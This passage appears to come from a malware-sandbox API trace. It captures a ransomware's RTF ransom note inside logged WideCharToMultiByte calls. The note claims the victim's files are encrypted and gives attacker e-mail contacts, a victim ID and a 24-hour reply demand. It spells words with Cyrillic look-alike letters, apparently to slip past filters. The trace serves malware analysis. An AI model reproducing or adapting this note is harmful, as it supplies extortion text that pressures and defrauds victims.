\\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 